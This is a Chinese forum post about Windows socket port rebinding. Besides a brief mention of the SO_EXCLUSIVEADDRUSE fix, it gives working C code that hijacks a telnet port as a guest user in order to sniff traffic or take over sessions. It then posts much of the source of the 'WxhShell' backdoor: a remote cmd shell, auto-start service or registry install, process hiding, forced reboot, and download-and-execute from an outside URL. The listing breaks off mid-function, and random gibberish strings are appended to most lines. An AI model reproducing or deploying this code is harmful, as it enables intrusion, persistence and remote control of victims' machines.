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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: f<aJiVP  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); /qX=rlQ/n  
;Jq 7E  
  saddr.sin_family = AF_INET; c2fbqM~  
%Ut7%obpi  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); gls %<A{C  
'-5Q>d~&h  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); f-/zR%s{  
.q7|z3@,  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 %I6c}*W  
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  这意味着什么?意味着可以进行如下的攻击: %nkP?gn"a  
h TY7`m">  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 aR}L- -m  
A ^wIsAxT  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) c$[cDf~  
E[N3`"  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Y$ To)qo  
j)neVPf%v  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  w-M,@[G  
z&r@c-l@  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ES&"zjr$  
f mQ`8b  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 S>s{t=AY~  
%RF9R"t$  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 {[%kn rRJ  
r.T!R6v}  
  #include hs  m%o\  
  #include C:WXI;*cr  
  #include +)eI8o0#  
  #include    P,/=c(5\}  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ) FnJLd  
  int main() Y^~Dr|5%  
  { )k}UjU`!  
  WORD wVersionRequested; >SR! *3$5  
  DWORD ret; chr^>%Q_  
  WSADATA wsaData; D[ -Gzqh  
  BOOL val; p Y[dJxB  
  SOCKADDR_IN saddr; c8cPGm#i  
  SOCKADDR_IN scaddr; vUU)zZB ~  
  int err; @L ,hA v ^  
  SOCKET s; 4)XZ'~|  
  SOCKET sc; SZ[ ,(h  
  int caddsize; sF`ELrR \  
  HANDLE mt; &n)=OConge  
  DWORD tid;   ^YLk&A)X  
  wVersionRequested = MAKEWORD( 2, 2 ); VS{po:]A  
  err = WSAStartup( wVersionRequested, &wsaData ); .+ w#n<  
  if ( err != 0 ) { 3RyB 0 n  
  printf("error!WSAStartup failed!\n");  A/zZ%h  
  return -1; U94Tp A6  
  } O!7v&$]1  
  saddr.sin_family = AF_INET; /) Pf ]  
   e0ea2 2  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 7"c^$fj  
N @24)g?  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); z[q#Dw  
  saddr.sin_port = htons(23); O-D${==  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) YA vOV-L  
  { gLyE,1Z}u  
  printf("error!socket failed!\n"); 18xT2f  
  return -1; lS.&>{  
  } -N3fhW#)  
  val = TRUE; G(~ s(r{%I  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 L93&.d@m9  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) muc>4!Q  
  { Pq@%MF]5  
  printf("error!setsockopt failed!\n"); Av#_cL  
  return -1; u\9t+wi}<  
  } `(rnD  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; CPto?=*A  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 >*A"tk#oR  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 AD ,  
y@'m D*z  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) G2A^+R0\  
  { e{"r3*  
  ret=GetLastError(); mjwh40x.o  
  printf("error!bind failed!\n"); O"D0+BK79e  
  return -1; <^APq8>  
  } hZ ve8J  
  listen(s,2); dP0%<Q|  
  while(1) QX]~|?q  
  { M+akD  
  caddsize = sizeof(scaddr); l^B PTg)X@  
  //接受连接请求 C{r Sq  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ,W!v0*uxp&  
  if(sc!=INVALID_SOCKET) >*hY1@N1  
  { X<OOgC  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); {O4y Y=G  
  if(mt==NULL) g=T !fF=  
  { f ;[\'_.*  
  printf("Thread Creat Failed!\n"); |@a.dgz,  
  break; 9F&s9(=\  
  } c%N8|!e  
  } P}AfXgr  
  CloseHandle(mt); HX(Z(rcI  
  } m|}};8  
  closesocket(s); <u 'q._m  
  WSACleanup(); _h=kjc}[.O  
  return 0; M+mO4q6  
  }   d'4^c,d  
  DWORD WINAPI ClientThread(LPVOID lpParam) eiNF?](3O  
  { _wC4n }J  
  SOCKET ss = (SOCKET)lpParam; H1alf_(_ \  
  SOCKET sc; h]6"~ m  
  unsigned char buf[4096]; iL%Q@!ka  
  SOCKADDR_IN saddr; m3cO { 1I  
  long num; 0gs0[@  
  DWORD val; Q/y^ff]=  
  DWORD ret; v7i5R !  
  //如果是隐藏端口应用的话,可以在此处加一些判断 B-@ ]+W  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   &K1\"  
  saddr.sin_family = AF_INET; o:E_k#Fi  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); <K$X>&Ts  
  saddr.sin_port = htons(23); kFJ sB,2-  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) errT7&@,A  
  { OJkiTs{  
  printf("error!socket failed!\n"); HH\6gs]u  
  return -1; 3kl<~O|Fs  
  } @213KmB.  
  val = 100; IwE{Zvr  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) <0Mc\wy  
  { 0nh;0Z  
  ret = GetLastError(); UJqDZIvC  
  return -1; vbDSNm#Yv  
  } +, SUJ|  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9vAY|b^  
  { @ 435K'!  
  ret = GetLastError(); 4! Cu>8B  
  return -1; L=7 U#Q/DE  
  } VI}.MnCa  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Ux<2!vh  
  { tAPr4n!  
  printf("error!socket connect failed!\n"); (&=<UGY(w  
  closesocket(sc); _;;'/rs j  
  closesocket(ss); ?f\;z<e|  
  return -1; Slk__eC  
  }  KKfC^g  
  while(1) E5#Dn.!~  
  { %[x oA)0!  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 d:U2b"k=/u  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 YPjjSi:#  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 C&&*6E5  
  num = recv(ss,buf,4096,0); $yZ(c#L  
  if(num>0) ; W/K7}  
  send(sc,buf,num,0); n^svRM]eQ  
  else if(num==0) 8IAf 9  
  break; zfAkWSY  
  num = recv(sc,buf,4096,0); vS! TnmF  
  if(num>0) :V(+]<  
  send(ss,buf,num,0); 7rc6  
  else if(num==0) 4QK~qAi  
  break; w3l+BUn:X  
  } P4M*vZq)  
  closesocket(ss); 3$.R=MQ7  
  closesocket(sc); }mz6z<pJ_  
  return 0 ; ou r$Ka31  
  } ~f.fg@v`+v  
B1EI'<S  
DrG9Kky{  
========================================================== Rmq8lU  
q`l&G%  
下边附上一个代码,,WXhSHELL $R\D[`y|  
ileqI/40f  
========================================================== .,)C^hs@  
Dlc=[kf9  
#include "stdafx.h" z!z+E%H^  
(&2 5 8i,  
#include <stdio.h> {^r8uKo:~  
#include <string.h> q8j W&_  
#include <windows.h> *PXlbb  
#include <winsock2.h> )FNvtLZ  
#include <winsvc.h> '7+e!>"  
#include <urlmon.h> y>:-6)pv  
j89C~xP6  
#pragma comment (lib, "Ws2_32.lib") i\2d1Z  
#pragma comment (lib, "urlmon.lib") cJ6n@\  
uxGY/Zf  
#define MAX_USER   100 // 最大客户端连接数 =~)J:x\F  
#define BUF_SOCK   200 // sock buffer 5hVp2 w-  
#define KEY_BUFF   255 // 输入 buffer GI&XL'K&  
XHX\+&6  
#define REBOOT     0   // 重启 c$cb2V7,  
#define SHUTDOWN   1   // 关机 c.-/e u^|  
#].n0[  
#define DEF_PORT   5000 // 监听端口 R]0p L   
kRCuc}:SB  
#define REG_LEN     16   // 注册表键长度 *, /ADtL  
#define SVC_LEN     80   // NT服务名长度 a/9R~DwN  
?w{lC,  
// 从dll定义API  aOS:rC  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); `/zx2Tkk  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); a(+.rf;  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ?2Q9z-$  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); W?a{3B   
On[:]#  
// wxhshell配置信息 ~Rs_ep'+Q2  
struct WSCFG {  mN>7vJ  
  int ws_port;         // 监听端口 eR'Df" +  
  char ws_passstr[REG_LEN]; // 口令 nUAoPE  
  int ws_autoins;       // 安装标记, 1=yes 0=no uXs.7+f  
  char ws_regname[REG_LEN]; // 注册表键名 %i7bkdcwk  
  char ws_svcname[REG_LEN]; // 服务名 J! ;g.q  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 d)'am 3Q  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 F %OA  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 D1&%N{  
int ws_downexe;       // 下载执行标记, 1=yes 0=no P'.M.I@  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9<0p1WO  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .hYrE5\-  
`+IB;G1  
}; 0JQ0lzk1  
K#j<G]I( @  
// default Wxhshell configuration LX%K*nlj  
struct WSCFG wscfg={DEF_PORT, EhEUkZE3 )  
    "xuhuanlingzhe", &<!DNXQ  
    1, <,U=w[cH  
    "Wxhshell", hXsd12  
    "Wxhshell", /~w!7n<7  
            "WxhShell Service", `rt  
    "Wrsky Windows CmdShell Service", |5uvmK  
    "Please Input Your Password: ", ;Z\1PwT  
  1, jOJ$QT  
  "http://www.wrsky.com/wxhshell.exe", X!}  t``  
  "Wxhshell.exe" w"s;R8  
    }; %M=[h2SN  
m5O;aj* i  
// 消息定义模块 v/n4Lp$W^  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \a:#e%]qz9  
char *msg_ws_prompt="\n\r? for help\n\r#>"; &RRHmJI:  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; g7($lt>  
char *msg_ws_ext="\n\rExit."; |}~2=r z  
char *msg_ws_end="\n\rQuit."; 7H$0NMP  
char *msg_ws_boot="\n\rReboot..."; TU6e,G|t  
char *msg_ws_poff="\n\rShutdown..."; ^;";fr Vw  
char *msg_ws_down="\n\rSave to "; 4)L(41h  
nXgnlb=  
char *msg_ws_err="\n\rErr!"; Vy]y73~  
char *msg_ws_ok="\n\rOK!"; +T*=JHOD  
/S32)=(  
char ExeFile[MAX_PATH]; 'j^A87\M_  
int nUser = 0; up[9L|  
HANDLE handles[MAX_USER]; uFseO9F.2  
int OsIsNt; \)\uAI-  
e):jQite   
SERVICE_STATUS       serviceStatus; m `"^d #  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ZLsfF =/G  
 %2 A-u  
// 函数声明 M2K{{pGJ[&  
int Install(void); E5a1 7ra  
int Uninstall(void); `6`p~  
int DownloadFile(char *sURL, SOCKET wsh); v-zi ,]W  
int Boot(int flag); 0GUm~zi1  
void HideProc(void); s@USJ4#  
int GetOsVer(void); l)V!0eW  
int Wxhshell(SOCKET wsl); ?LJDBN  
void TalkWithClient(void *cs); 2TH13k$  
int CmdShell(SOCKET sock); >FO4]  
int StartFromService(void); 3\x@G)1  
int StartWxhshell(LPSTR lpCmdLine); =o N(1k^  
2K^D%U  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); sVk+E'q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); qPh @Bl3  
I r8,=  
// 数据结构和表定义 .hBq1p  
SERVICE_TABLE_ENTRY DispatchTable[] = G?:{9. (  
{ Yt]tRqrh;T  
{wscfg.ws_svcname, NTServiceMain}, BMubN   
{NULL, NULL} ~%SmH [i  
}; uvN Lm]*  
XRZj+muTZ  
// 自我安装 -6 WjYJx  
int Install(void) P$YY4|`  
{ m:kXr^!D  
  char svExeFile[MAX_PATH]; YX A|1  
  HKEY key; []i/\0C^  
  strcpy(svExeFile,ExeFile); {FYWQ!L  
;E Z5/"T  
// 如果是win9x系统,修改注册表设为自启动 9YpgzCx Z  
if(!OsIsNt) { bW"bkA80  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Wo&WO e  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =mVWfFL  
  RegCloseKey(key); 7_OC&hhL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^!Y]l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); MQs!+Z"m>  
  RegCloseKey(key); #Tc]L<."  
  return 0; 8fV.NCyE  
    } o1Bn^ w  
  } =>? ;Iv'Z  
} j@N z  
else { bjn: e!}  
1D *oXE9Ig  
// 如果是NT以上系统,安装为系统服务 fL0dy[Ch@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9((BOq  
if (schSCManager!=0) ~ m/nV81  
{ Xk9mJ]31LC  
  SC_HANDLE schService = CreateService A -C.Bi;/  
  ( ew13qpt)<L  
  schSCManager, x)35}mi){L  
  wscfg.ws_svcname, (`W_ -PI  
  wscfg.ws_svcdisp, 7a$K@iWU  
  SERVICE_ALL_ACCESS, vbt0G-%Z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , <x QvS^|[  
  SERVICE_AUTO_START, zKh^BwhO|X  
  SERVICE_ERROR_NORMAL, o,-p[1b  
  svExeFile, qPI\Y3ZU  
  NULL, s9[?{}gd  
  NULL, R07]{  
  NULL, cTC -cgp  
  NULL, +8<|P&fH  
  NULL )b%t4~7  
  ); Lud[.>i  
  if (schService!=0) f ZEyXb  
  { _xKIp>A  
  CloseServiceHandle(schService); 7+N0$0w%r  
  CloseServiceHandle(schSCManager);  lu_kir~  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); gxKL yZO!  
  strcat(svExeFile,wscfg.ws_svcname); :Dt]sE _d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { [b2KBww\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .uh>S!X, ]  
  RegCloseKey(key); ]%%I=r  
  return 0; Z\YCjs%  
    } B$=oU   
  } /)%$xi  
  CloseServiceHandle(schSCManager); P O*;V<^  
} k.."_ 4  
} _4#Mdnh}[  
CpE LLA<  
return 1; (DLk+N4UHA  
} ?-Qq\D^+  
`EXo=Dqc  
// 自我卸载 aru;yR  
int Uninstall(void) N8[ &1  
{ -dto46X  
  HKEY key; ;J uBybJb  
#QUQC2P(~  
if(!OsIsNt) { Sg&0a$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { e/7rr~"|  
  RegDeleteValue(key,wscfg.ws_regname); ;\'d9C  
  RegCloseKey(key); 7 @W}>gnf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Io;x~i09K  
  RegDeleteValue(key,wscfg.ws_regname); < )qJI'u|  
  RegCloseKey(key); R|@?6<  
  return 0; [QwBSq8)  
  } < `Xt?K  
} ^P!(* k#T  
}  JT,[;  
else { ngt?9i;N  
'?Jz8iu-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Z|#G+$"QV  
if (schSCManager!=0) h tuYctu`  
{ euMJ c  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); |F}6Zv  
  if (schService!=0) 4)Bk:K  
  { .5^7Jwh  
  if(DeleteService(schService)!=0) { i5*BZv>e  
  CloseServiceHandle(schService); B>;`$-  
  CloseServiceHandle(schSCManager); wbpz,  
  return 0; W>_K+: t  
  } Hhzi(<e^  
  CloseServiceHandle(schService); ixvF `S9  
  } SG4)kQ  
  CloseServiceHandle(schSCManager); ?wi^R:2|j  
} 0Yk$f1g  
} yC:C  
qNuBK6E#4  
return 1; I.6 qA *  
} , 3&D A  
Q)/oU\  
// 从指定url下载文件 WvoJ^{\4N*  
int DownloadFile(char *sURL, SOCKET wsh) : GdLr  
{ Z?f-_NHg  
  HRESULT hr; Q{o]^tN  
char seps[]= "/"; D_Zt:tzO  
char *token; :!QT ,  
char *file; ;%Zu[G`C  
char myURL[MAX_PATH]; l9Av@|  
char myFILE[MAX_PATH]; wM``vx[/  
=c ;.cW  
strcpy(myURL,sURL); 8b[<:{[YB  
  token=strtok(myURL,seps); Z]SUr`Z  
  while(token!=NULL) m4on<5s/  
  { +zg3/C4 S  
    file=token; wZg~k\_lF  
  token=strtok(NULL,seps); {00Qg{;K|  
  } mVd%sWD  
K2qKkV@  
GetCurrentDirectory(MAX_PATH,myFILE); P,s>xM  
strcat(myFILE, "\\"); M nnVk=  
strcat(myFILE, file); ZK4d;oa",  
  send(wsh,myFILE,strlen(myFILE),0); 7P bwCRg  
send(wsh,"...",3,0); TtWWq5X|  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >sGiDK @  
  if(hr==S_OK) "rnVPHnQR  
return 0; W|L#Q/ RX  
else !!<H*9]+W;  
return 1; 3kavzB[  
v05$"Ig  
} _Wtwh0[r*  
gX~lYdA  
// 系统电源模块 ?&JK q^9\I  
int Boot(int flag) `sLD>@m  
{ $}t;c62  
  HANDLE hToken; XD%GNZ  
  TOKEN_PRIVILEGES tkp; Q%QIr  
c=f;3N  
  if(OsIsNt) { v=~+o[  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 2Ah B)8bG  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ew&"n2r  
    tkp.PrivilegeCount = 1; cS%;JV>C  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; a] P0PH~  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \gGTkH  
if(flag==REBOOT) { V X.9mt  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6J<R;g23R]  
  return 0; *o=[p2d"X  
} &9EcgazV  
else { 2-%9k)KH  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) wW, n~W  
  return 0; 48)D%867.;  
} gLwrYG7@  
  } IOY<'t+  
  else { *&~(>gNF,  
if(flag==REBOOT) { ,0@QBr5P  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 6f^IAa|  
  return 0; M%bD7naBq  
} {ceY:49  
else { mq+x=  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) {n{-5Y  
  return 0; TR9dpt+T  
} -VvN1G6.x?  
} W.l#@p  
;0o% hx  
return 1; s]pNT1,  
} m#^;V  
c6cB {/g  
// win9x进程隐藏模块 MDoV84Fh  
void HideProc(void) XZ:6A]62I  
{ [ZL<Q  
Y+DVwz$  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); oml^f~pm  
  if ( hKernel != NULL ) #'97mg  
  { H`4KhdqR  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); riQ0'-p  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); {$I1(DYN  
    FreeLibrary(hKernel); L=gG23U&  
  } 9h"3u;/,  
;( (|0Xa  
return; \s6 VOR/  
} *-&+;|mM  
L]E.TvM1*  
// 获取操作系统版本 oxug  
int GetOsVer(void) j9R+;u/!  
{ 24k;.o  
  OSVERSIONINFO winfo; Bo;{ QoB  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); E-deXY  
  GetVersionEx(&winfo); ,+v>(h>q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^;[^L=}8$  
  return 1; |Es,$  
  else gkDXt^Ob  
  return 0; rQ(u@u;  
} C[CNJ66  
$ve*j=p  
// 客户端句柄模块 ft$!u-`  
int Wxhshell(SOCKET wsl) A]MX^eY  
{ hX:yn:P~  
  SOCKET wsh; sj&1I.@,>  
  struct sockaddr_in client; z8j7K'vV1  
  DWORD myID; PnH5[4&k  
L-Mf{z  
  while(nUser<MAX_USER) ri49r*_1  
{ 6('CB|ga  
  int nSize=sizeof(client); ~&WBA]w'+  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *9US>mVy  
  if(wsh==INVALID_SOCKET) return 1; |=[. _VH1  
kR <\iT0j  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 5Vr#>W  
if(handles[nUser]==0) =3=8oFx8  
  closesocket(wsh); C_&ZQlgQ  
else K@?K4o   
  nUser++; {a,U{YJ\H  
  } zqLOwzMlLx  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {[bB$~7Eu  
v7<r- <I[  
  return 0; p3qKtMs0!  
} 4JL]?75  
UYGO|lkEU  
// 关闭 socket y24/lc  
void CloseIt(SOCKET wsh) e\ }'i-  
{ \)cbg#v  
closesocket(wsh); {6mFI1;q  
nUser--; >gDKkeLD  
ExitThread(0); dB8 e  
} @&GY5<&b  
#e[igxwi  
// 客户端请求句柄 Jm 1n|f  
void TalkWithClient(void *cs) e"ClG/M_XS  
{ gR wRhA/  
lr=quWDY  
  SOCKET wsh=(SOCKET)cs; cHJ4[x=  
  char pwd[SVC_LEN]; Y8/&1s_  
  char cmd[KEY_BUFF]; u6 4{w,  
char chr[1]; p+CK+m   
int i,j; !gi3J @  
Ki(0s  
  while (nUser < MAX_USER) { 8Rnq &8A  
yY!@FGsA  
if(wscfg.ws_passstr) { o4,9jk$  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &(NW_ <(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'JJ :  
  //ZeroMemory(pwd,KEY_BUFF); of>H&G)@  
      i=0; A`V:r2hnb  
  while(i<SVC_LEN) { ~n%]u! 6  
Q 822 #  
  // 设置超时 h5lngw  
  fd_set FdRead; #KDN  
  struct timeval TimeOut; tdNAR|  
  FD_ZERO(&FdRead); Vg7BK%  
  FD_SET(wsh,&FdRead); {*X|)nr  
  TimeOut.tv_sec=8; < fYcON  
  TimeOut.tv_usec=0; fz rH}^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); :MGIp%3  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); oTveY  
;oOv~ YB7H  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); EV_u8?va  
  pwd=chr[0]; /a\]Dwj5  
  if(chr[0]==0xd || chr[0]==0xa) { +< )H2  
  pwd=0; gyob q'o-  
  break;  >1q:-^  
  } ckbD/+  
  i++; 6>[J^k%~w)  
    } CIQ9dx7>  
G5UNW<P2C  
  // 如果是非法用户,关闭 socket v %S$5  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3A3WD+[L  
} pEY zB;  
=91f26c!~  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); C^!~WFy  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x";4)u=  
alyA#zao|  
while(1) { &&Otj-n5  
}sM_^&e4X  
  ZeroMemory(cmd,KEY_BUFF); >~uKkQ_p  
! ~+mf^D  
      // 自动支持客户端 telnet标准   O>IG7Ujl  
  j=0; y7LM}dH#m  
  while(j<KEY_BUFF) { LHs^Xo18  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _ !k\~4U  
  cmd[j]=chr[0]; )_K:A(V>  
  if(chr[0]==0xa || chr[0]==0xd) { X`7O%HiX/`  
  cmd[j]=0; J74kK#uF=  
  break; R".*dC,0'B  
  } [k=LX+w@  
  j++; Kk>va->R  
    } #^w8Y'{?  
=!=DISPo  
  // 下载文件 D;Y2yc[v  
  if(strstr(cmd,"http://")) { hmv*IF.  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); g8]$BhRIfr  
  if(DownloadFile(cmd,wsh)) BWzo|isv  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); GX N:=  
  else $~r=I[5'(  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XW*d\vDun  
  } 1(/rg  
  else { }LX.gm  
ki]i[cdk  
    switch(cmd[0]) { P]4@|u;=6[  
  (!T\[6  
  // 帮助 fKa]F`p_h  
  case '?': { VKy3tW/_&  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); SKVQ !^o  
    break; `'ak/%Krh  
  } $ 3R5p  
  // 安装 xS_tB)C  
  case 'i': { ;eP. B/N  
    if(Install()) nDXy$f8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?d)FYB  
    else RY~m Q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a'7RzN ,]  
    break; rM20Y(|  
    } }5y ]kn  
  // 卸载 M"8?XD%  
  case 'r': { / 16 r_l  
    if(Uninstall()) cFoeyI#v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bJL,pe+u  
    else B &)wJG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;z9U_  
    break; hD7Lgi-N)W  
    } "O%xQ N  
  // 显示 wxhshell 所在路径 p:Zhg{sF  
  case 'p': { u7 {R; QKw  
    char svExeFile[MAX_PATH]; KvlLcE~`o  
    strcpy(svExeFile,"\n\r"); vH{JLN2  
      strcat(svExeFile,ExeFile); V4|l7  
        send(wsh,svExeFile,strlen(svExeFile),0); IKnXtydeI}  
    break; qhNYQ/uS  
    } t8Giv89{  
  // 重启 3EyVoS6D  
  case 'b': { m"vWu0/#  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); uD4$<rSHb  
    if(Boot(REBOOT)) l6-%)6u>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ExSy/^4f  
    else { JjHQn=3AJ  
    closesocket(wsh); ?YnB:z*eV  
    ExitThread(0); Edl .R}&1  
    } 6{2 9cX.  
    break; \C`2z]V%  
    } t,qz%J&a  
  // 关机 4M>EQF&  
  case 'd': { Y^'mBM#j  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0|~3\e/QV  
    if(Boot(SHUTDOWN)) m"~),QwF9  
